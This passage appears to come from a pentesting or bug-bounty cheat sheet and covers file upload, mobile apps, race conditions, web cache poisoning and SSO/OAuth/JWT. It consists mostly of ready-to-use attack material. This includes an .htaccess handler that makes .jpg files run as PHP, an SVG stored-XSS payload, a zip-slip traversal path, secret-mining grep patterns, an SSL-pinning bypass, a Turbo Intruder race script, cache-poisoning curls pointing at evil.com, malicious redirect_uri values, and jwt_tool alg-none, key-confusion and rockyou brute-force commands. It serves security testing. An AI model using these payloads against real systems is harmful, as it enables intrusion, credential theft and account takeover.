    AddType application/x-httpd-php .jpg
    AddHandler php5-script .jpg
    
    # SVG stored XSS
    <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg>
    
    # zip-slip: path traversal inside zip to overwrite files
    ../../../../tmp/evil.sh
    ๐Ÿ“‹ Upload Checklist
    ๐Ÿงฐ Tools
    burpsuite
    exiftool
    imagemagick
    nuclei
    zip-slip-scanner
    ffuf
    77

    ๐Ÿ“ฑ Mobile App Testing

    P4Checklist

    Mobile apps leak the backend: hardcoded secrets, hidden endpoints, and weaker client-side controls. Decompile, bypass pinning, proxy everything, and mine the binary for API surface and credentials that web recon misses.

    Decompile + secret mine (android)
    # decompile
    jadx -d out/ app.apk
    apktool d app.apk -o out/
    
    # mine for secrets, endpoints, hardcoded creds
    grep -rniE "(api[_-]?key|client[_-]?secret|bearer |password|aws_?access|secret[_-]?access|/admin|/internal)" out/ | grep -v node_modules | head -200
    
    # strings on the binary
    strings app.apk | grep -iE "(http|https|api\.|\.com/|token|secret|key)" | sort -u | head -200
    
    # bypass SSL pinning with objection
    objection --gadget com.target.app explore
    android sslpinning disable
    ๐Ÿ“‹ Mobile Checklist
    ๐Ÿงฐ Tools
    jadx
    apktool
    frida
    objection
    mobsf
    drozer
    adb
    strings
    burpsuite
    78

    ๐Ÿ Race Conditions

    P4Automation

    Parallel requests that each pass the "check" before the "use" โ€” coupon reuse, double-spend, OTP bypass, one-time referral farming. Send bursts over the same connection so the server sees them simultaneously. Modern technique: the HTTP/2 single-packet attack.

    Turbo Intruder โ€” single-packet race burst
    # send 30 identical requests in one TCP burst (HTTP/2 single-packet attack)
    def queueRequests(target, wordlists):
        engine = RequestEngine(endpoint=target.endpoint,
                               concurrentConnections=1,
                               engine=Engine.BURP2)
    
        for i in range(30):
            engine.queue(target.req, gate='race1')
    
        engine.openGate('race1')
    
    def handleResponse(req, **kwargs):
        table.add(req)
    ๐Ÿ“‹ Race Checklist
    ๐Ÿงฐ Tools
    turbo intruder
    single-packet attack (h2)
    burpsuite repeater groups
    ffuf
    racehunter
    custom python
    79

    ๐Ÿ—ƒ Web Cache Testing

    P3Checklist

    Cache poisoning poisons one stored response served to every user; cache deception leaks private pages. Map the cache key, find unkeyed inputs that reach the response, and hunt normalization mismatches between CDN and origin.

    Cache poisoning checks (curl)
    # detect cache: look for X-Cache / Age / CF-Cache-Status headers
    curl -sI https://target.com/ | grep -iE "x-cache|age:|cf-cache-status|via:|x-cache-hits"
    
    # unkeyed header probe โ€” request twice, poison once, observe victims
    curl -s "https://target.com/" -H "X-Forwarded-Host: evil.com" -D - -o /dev/null
    
    # cache deception โ€” request a private page with a cacheable extension
    curl -s "https://target.com/account/settings%2f..%2f%2f.css" -D - | head -20
    
    # normalization confusion
    curl -s "https://target.com/account/settings/" | grep -c "Account"
    curl -s "https://target.com/account%2fsettings" | grep -c "Account"
    ๐Ÿ“‹ Cache Checklist
    ๐Ÿงฐ Tools
    burpsuite
    param miner (cache key oracle)
    curl
    ffuf
    nuclei (cache-poisoning templates)
    wafw00f
    80

    ๐ŸŽญ SSO / OAuth / SAML

    P3 ยท Enterprise appsChecklist

    Enterprise apps centralize auth in SSO โ€” one broken redirect_uri, state, SAML assertion or JWT flaw = account takeover. Test the full flow: authorization, callback, token validation, session handling, and the identity provider integration itself.

    OAuth / JWT checks
    # OAuth flow: capture the full redirect chain, then mutate
    #   1. redirect_uri: add path, subdomain, port, encoded chars
    #      https://app.com/callback โ†’ https://app.com/callback/evil
    #      https://app.com/attacker@evil.com  /  https://evil.com/?x=https://app.com
    #   2. remove or reuse the state parameter
    #   3. swap response_type code โ†” token, replay codes between clients
    
    # JWT attack arsenal
    python3 jwt_tool.py <token> -X a   # alg none
    python3 jwt_tool.py <token> -X k -pk public.pem   # key confusion
    python3 jwt_tool.py <token> -C -d /root/wordlists/rockyou.txt   # weak secret
    
    # SAML: capture the assertion in Burp, then:
    #   - strip the Signature element (see if unsigned is accepted)
    #   - tamper email/role/uid inside the Assertion
    #   - replay the full SAMLResponse
    ๐Ÿ“‹ SSO Checklist
    ๐Ÿงฐ Tools
    burpsuite
    jwt_tool
    jwt.io
    saml-raider
    oauth2-device
    nuclei